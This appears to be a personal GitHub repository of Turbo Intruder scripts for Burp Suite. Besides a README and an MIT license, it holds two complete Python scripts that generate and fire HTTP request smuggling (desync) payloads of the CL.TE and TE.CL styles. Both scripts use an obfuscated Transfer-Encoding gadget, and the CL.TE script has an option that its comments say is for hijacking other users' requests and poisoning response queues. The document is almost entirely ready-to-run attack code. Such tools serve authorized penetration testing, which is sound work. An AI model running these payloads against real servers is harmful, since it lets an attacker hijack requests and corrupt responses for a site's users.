├── README.md ├── LICENSE ├── DesyncAttack_TECL.py └── DesyncAttack_CLTE.py /README.md: -------------------------------------------------------------------------------- 1 | # Turbo Intruder Scripts 2 | This is just a repo where I keep my own personal Turbo Intruder helper scripts. 3 | 4 | # DesyncAttack_CLTE.py and DesyncAttack_TECL.py 5 | These scripts I use to create Request Smuggling Desync payloads for CLTE and TECL style attacks. 6 | How to use: 7 | 1) Open Burp 8 | 2) Open a Repeater tab to your target 9 | 3) Right click your request and "Send to Turbo Intruder" 10 | 4) Completely replace the script pane (bottom pane) with DesyncAttack_CLTE.py or DesyncAttack_TECL.py 11 | 5) The top (request) pane is not needed and ignored, the script creates its own requests 12 | 6) Fill out all the attack parameters for the attack (documentation inside the script) 13 | 7) Click "Attack" 14 | 15 | # License 16 | These scripts are released under the MIT license. See [LICENSE](https://github.com/defparam/tiscripts/blob/master/LICENSE). 17 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 Evan Custodio 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /DesyncAttack_TECL.py: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Evan Custodio 2 | # 3 | # Permission is hereby granted, free of charge, to any person obtaining a copy of this software 4 | # and associated documentation files (the "Software"), to deal in the Software without restriction, 5 | # including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, 6 | # and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, 7 | # subject to the following conditions: 8 | # 9 | # The above copyright notice and this permission notice shall be included in all copies or 10 | # substantial portions of the Software. 11 | # 12 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED 13 | # TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 14 | # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF 15 | # CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 16 | # DEALINGS IN THE SOFTWARE. 17 | # 18 | # Turbo Intruder Python Script 19 | # For HTTP Request Smuggling TECL Attacks 20 | # 21 | # Author: @defparam 22 | # 23 | # Documentation: 24 | # 25 | # Server: IP address/dns name of the web server you want to connect to, http/https 80/443 supported. 26 | # attack_count: The number of smuggle requests to issue. 27 | # regular_count: The number of innocuous requests to issue out after the smuggle requests. 28 | # continuous: Set to True if you want the attack request and regular requests to endlessly loop, False will break after first iteration. 29 | # concurrentConnections: Request engine concurrent connection count. 30 | # requestsPerConnection: Request engine requests per connection count. 31 | # 32 | # SmuggleGadget: Gadget used to induce TECL desync on the asset. 33 | # TheVerb: The HTTP method used in the first level smuggle request. 34 | # TheEP: The endpoint used in the first level smuggle request. 35 | # TheProtocol: The HTTP Protocol version used in the first level smuggle request. 36 | # TheHost: The hostname used in the host header of the first level smuggle request. 37 | # 38 | # PrefixVerb: The HTTP method used in the second level prefix request. 39 | # PrefixEP: The endpoint used in the second level prefix request. 40 | # PrefixProtocol: The HTTP Protocol version used in the second level prefix request. 41 | # PrefixHost: The hostname used in the host header of the second level prefix request. 42 | # PrefixLength: The Content-Length used in the second level prefix request. 43 | # 44 | # FilterOn(False): If False all responses shall be posted in the turbo intruder window. 45 | # FilterOn(True): If True all NULL responses are omitted and all responses that match the Filters list shall be omitted. 46 | # Filters(List): This is a list of strings that are compared against responses, if responses contain these string they shall be omitted (if FilterOn == True). 47 | # ShowTestResponse: If True this debug feature allows the first response to appear unfiltered regardless if filtering is enabled. 48 | 49 | # --------------------------- # 50 | # ----ATTACK PARAMETERS!----- # 51 | # --------------------------- # 52 | Server = "https://.com:443" 53 | attack_count = 1 54 | regular_count = 40 55 | continuous = False 56 | concurrentConnections = 10 57 | requestsPerConnection = 1 58 | # -- 59 | 60 | # -- Smuggle Request Parameters 61 | SmuggleGadget = "\x01Transfer-Encoding: chunked" 62 | TheVerb = "POST" 63 | TheEP = "/" 64 | TheProtocol = "HTTP/1.1" 65 | TheHost = ".com" 66 | # -- 67 | 68 | # -- Prefix Request Parameters 69 | PrefixVerb = "GET" 70 | PrefixEP = "/404" 71 | PrefixProtocol = "HTTP/1.1" 72 | PrefixHost = ".com" 73 | PrefixLength = "300" 74 | # -- 75 | 76 | # -- Response Filtering Parameters 77 | FilterOn = True 78 | Filters = ["Content-Length: 1256","HTTP/1.1 400 Bad Request"] 79 | ShowTestResponse = False 80 | # -- 81 | 82 | # --------------------------- # 83 | # --------------------------- # 84 | # --------------------------- # 85 | # --------------------------- # 86 | 87 | 88 | 89 | 90 | # ------------------------------------------------- # 91 | # If you make changes to the headers formats below 92 | # try not to break the parameterization. 93 | # ------------------------------------------------- # 94 | def queueRequests(target, wordlists): 95 | 96 | # to use Burp's HTTP stack for upstream proxy rules etc, use engine=Engine.BURP 97 | engine = RequestEngine(endpoint=Server, 98 | concurrentConnections=concurrentConnections, 99 | requestsPerConnection=requestsPerConnection, 100 | resumeSSL=False, 101 | timeout=1, 102 | pipeline=False, 103 | maxRetriesPerRequest=0, 104 | engine=Engine.THREADED, 105 | ) 106 | engine.start() 107 | RN = "\r\n" 108 | 109 | # --------------------------- # 110 | # ----FULL PREFIX REQUEST!--- # 111 | # --------------------------- # 112 | prefix = ("%s %s %s" % (PrefixVerb, PrefixEP, PrefixProtocol)) + RN 113 | prefix += ("Host: %s" % (PrefixHost)) + RN 114 | prefix += "Connection: keep-alive" + RN 115 | prefix += "Accept-Encoding: gzip, deflate" + RN 116 | prefix += "Accept: */*" + RN 117 | prefix += "Accept-Language: en" + RN 118 | prefix += "Content-Type: application/x-www-form-urlencoded" + RN 119 | prefix += ("Content-Length: %s" % (PrefixLength)) + RN 120 | prefix += RN 121 | prefix += "x=1" 122 | # --------------------------- # 123 | 124 | # --------------------------- # 125 | # ---TECL SMUGGLE REQUEST!--- # 126 | # --------------------------- # 127 | sz = hex(len(prefix))[2:] 128 | smuggle = ("%s %s %s" % (TheVerb, TheEP, TheProtocol)) + RN 129 | smuggle += SmuggleGadget + RN # SMUGGLE GADGET! 130 | smuggle += ("Host: %s" % (TheHost)) + RN 131 | smuggle += ("Content-length: %s" % (str(2+len(sz)))) + RN 132 | smuggle += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" + RN 133 | smuggle += "Origin: https://www.google.com" + RN 134 | smuggle += "Accept-Encoding: gzip, deflate" + RN 135 | smuggle += "Content-Type: application/x-www-form-urlencoded" + RN 136 | smuggle += RN + ("%s"%(sz)) + RN 137 | smuggle += prefix + RN + "0" + RN + RN 138 | # --------------------------- # 139 | 140 | # --------------------------- # 141 | # -----REGULAR REQUEST!------ # 142 | # --------------------------- # 143 | regular = "GET / HTTP/1.1" + RN 144 | regular += ("Host: %s" % (TheHost)) + RN 145 | regular += "Origin: https://www.google.com" + RN 146 | regular += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" + RN 147 | regular += RN 148 | # --------------------------- # 149 | 150 | # --------------------------- # 151 | # -----ATTACK EXECUTOR!------ # 152 | # --------------------------- # 153 | attack = smuggle 154 | while(1): 155 | for i in range(attack_count): engine.queue(attack) 156 | for i in range(regular_count): engine.queue(regular) 157 | if (not continuous): break 158 | # --------------------------- # 159 | 160 | 161 | # --------------------------- # 162 | # ----RESPONSE FILTERING!---- # 163 | # --------------------------- # 164 | def handleResponse(req, interesting): 165 | global ShowTestResponse 166 | if (FilterOn and not ShowTestResponse): 167 | if len(req.response) == 4: 168 | return 169 | for filter in Filters: 170 | if filter in req.response: 171 | return 172 | ShowTestResponse = False 173 | table.add(req) 174 | 175 | # --------------------------- # 176 | 177 | -------------------------------------------------------------------------------- /DesyncAttack_CLTE.py: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Evan Custodio 2 | # 3 | # Permission is hereby granted, free of charge, to any person obtaining a copy of this software 4 | # and associated documentation files (the "Software"), to deal in the Software without restriction, 5 | # including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, 6 | # and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, 7 | # subject to the following conditions: 8 | # 9 | # The above copyright notice and this permission notice shall be included in all copies or 10 | # substantial portions of the Software. 11 | # 12 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED 13 | # TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 14 | # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF 15 | # CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 16 | # DEALINGS IN THE SOFTWARE. 17 | # 18 | # Turbo Intruder Python Script 19 | # For HTTP Request Smuggling CLTE Attacks 20 | # 21 | # Author: @defparam 22 | # 23 | # Documentation: 24 | # 25 | # Server: IP address/dns name of the web server you want to connect to, http/https 80/443 supported. 26 | # attack_count: The number of smuggle requests to issue. 27 | # regular_count: The number of innocuous requests to issue out after the smuggle requests. 28 | # continuous: Set to True if you want the attack request and regular requests to endlessly loop, False will break after first iteration. 29 | # concurrentConnections: Request engine concurrent connection count. 30 | # requestsPerConnection: Request engine requests per connection count. 31 | # 32 | # SmuggleGadget: Gadget used to induce CLTE desync on the asset. 33 | # TheVerb: The HTTP method used in the first level smuggle request. 34 | # TheEP: The endpoint used in the first level smuggle request. 35 | # TheProtocol: The HTTP Protocol version used in the first level smuggle request. 36 | # TheHost: The hostname used in the host header of the first level smuggle request. 37 | # 38 | # PrefixVerb: The HTTP method used in the second level prefix request. 39 | # PrefixEP: The endpoint used in the second level prefix request. 40 | # PrefixProtocol: The HTTP Protocol version used in the second level prefix request. 41 | # PrefixHost: The hostname used in the host header of the second level prefix request (only if ChoppedHost is True or Chopped is False) 42 | # Chopped(true): If True the prefix request is chopped at a custom header and is incomplete. This is used for request hijacking. 43 | # Chopped(false): If False the prefix request is a fully formed HTTP request. This is used for response queue poisoning. 44 | # ChoppedHost: If True the chopped prefix will contain a host header specified by PrefixHost. 45 | # 46 | # FilterOn(False): If False all responses shall be posted in the turbo intruder window. 47 | # FilterOn(True): If True all NULL responses are omitted and all responses that match the Filters list shall be omitted. 48 | # Filters(List): This is a list of strings that are compared against responses, if responses contain these string they shall be omitted (if FilterOn == True) 49 | # ShowTestResponse: If True this debug feature allows the first response to appear unfiltered regardless if filtering is enabled 50 | 51 | # --------------------------- # 52 | # ----ATTACK PARAMETERS!----- # 53 | # --------------------------- # 54 | Server = "https://.com:443" 55 | attack_count = 1 56 | regular_count = 40 57 | continuous = False 58 | concurrentConnections = 10 59 | requestsPerConnection = 1 60 | # -- 61 | 62 | # -- Smuggle Request Parameters 63 | SmuggleGadget = "\x01Transfer-Encoding: chunked" 64 | TheVerb = "POST" 65 | TheEP = "/" 66 | TheProtocol = "HTTP/1.1" 67 | TheHost = ".com" 68 | # -- 69 | 70 | # -- Prefix Request Parameters 71 | PrefixVerb = "GET" 72 | PrefixEP = "/404" 73 | PrefixProtocol = "HTTP/1.1" 74 | PrefixHost = ".com" 75 | Chopped = True 76 | ChoppedHost = False 77 | # -- 78 | 79 | # -- Response Filtering Parameters 80 | FilterOn = True 81 | Filters = ["Content-Length: 1256","HTTP/1.1 400 Bad Request"] 82 | ShowTestResponse = False 83 | # -- 84 | 85 | # --------------------------- # 86 | # --------------------------- # 87 | # --------------------------- # 88 | # --------------------------- # 89 | 90 | 91 | 92 | 93 | # ------------------------------------------------- # 94 | # If you make changes to the headers formats below 95 | # try not to break the parameterization. 96 | # ------------------------------------------------- # 97 | def queueRequests(target, wordlists): 98 | 99 | # to use Burp's HTTP stack for upstream proxy rules etc, use engine=Engine.BURP 100 | engine = RequestEngine(endpoint=Server, 101 | concurrentConnections=concurrentConnections, 102 | requestsPerConnection=requestsPerConnection, 103 | resumeSSL=False, 104 | timeout=1, 105 | pipeline=False, 106 | maxRetriesPerRequest=0, 107 | engine=Engine.THREADED, 108 | ) 109 | engine.start() 110 | RN = "\r\n" 111 | 112 | # --------------------------- # 113 | # --CHOPPED PREFIX REQUEST!-- # 114 | # --------------------------- # 115 | prefix_chopped = ("%s %s HTTP/1.1" % (PrefixVerb, PrefixEP)) + RN 116 | if (ChoppedHost): prefix_chopped += ("Host: %s" % (PrefixHost)) + RN 117 | prefix_chopped += "X: X" # CHOP! 118 | # --------------------------- # 119 | 120 | # --------------------------- # 121 | # ----FULL PREFIX REQUEST!--- # 122 | # --------------------------- # 123 | prefix_full = ("%s %s %s" % (PrefixVerb, PrefixEP, PrefixProtocol)) + RN 124 | prefix_full += ("Host: %s" % (PrefixHost)) + RN 125 | prefix_full += "Connection: keep-alive" + RN 126 | prefix_full += "Accept-Encoding: gzip, deflate" + RN 127 | prefix_full += "Accept: */*" + RN 128 | prefix_full += "Accept-Language: en" + RN 129 | prefix_full += "Content-Type: application/x-www-form-urlencoded" + RN 130 | prefix_full += RN 131 | # --------------------------- # 132 | 133 | # --------------------------- # 134 | # ---CLTE SMUGGLE REQUEST!--- # 135 | # --------------------------- # 136 | smuggle = ("%s %s %s" % (TheVerb, TheEP, TheProtocol)) + RN 137 | smuggle += SmuggleGadget + RN # SMUGGLE GADGET! 138 | smuggle += ("Host: %s" % (TheHost)) + RN 139 | smuggle += "Content-Length: 0" + RN 140 | smuggle += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" + RN 141 | smuggle += "Origin: https://www.google.com" + RN 142 | smuggle += "Accept-Encoding: gzip, deflate" + RN 143 | smuggle += "Content-Type: application/x-www-form-urlencoded" + RN 144 | smuggle += RN 145 | smuggle += "0" 146 | smuggle += RN 147 | smuggle += RN 148 | # --------------------------- # 149 | 150 | # --------------------------- # 151 | # -----REGULAR REQUEST!------ # 152 | # --------------------------- # 153 | regular = "GET / HTTP/1.1" + RN 154 | regular += ("Host: %s" % (TheHost)) + RN 155 | regular += "Origin: https://www.google.com" + RN 156 | regular += "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" + RN 157 | regular += RN 158 | # --------------------------- # 159 | 160 | # --------------------------- # 161 | # -----ATTACK EXECUTOR!------ # 162 | # --------------------------- # 163 | if (Chopped): 164 | attack = smuggle + prefix_chopped 165 | else: 166 | attack = smuggle + prefix_full 167 | while(1): 168 | for i in range(attack_count): engine.queue(attack) 169 | for i in range(regular_count): engine.queue(regular) 170 | if (not continuous): break 171 | # --------------------------- # 172 | 173 | 174 | # --------------------------- # 175 | # ----RESPONSE FILTERING!---- # 176 | # --------------------------- # 177 | def handleResponse(req, interesting): 178 | global ShowTestResponse 179 | if (FilterOn and not ShowTestResponse): 180 | if len(req.response) == 4: 181 | return 182 | for filter in Filters: 183 | if filter in req.response: 184 | return 185 | ShowTestResponse = False 186 | table.add(req) 187 | 188 | # --------------------------- # 189 | 190 | --------------------------------------------------------------------------------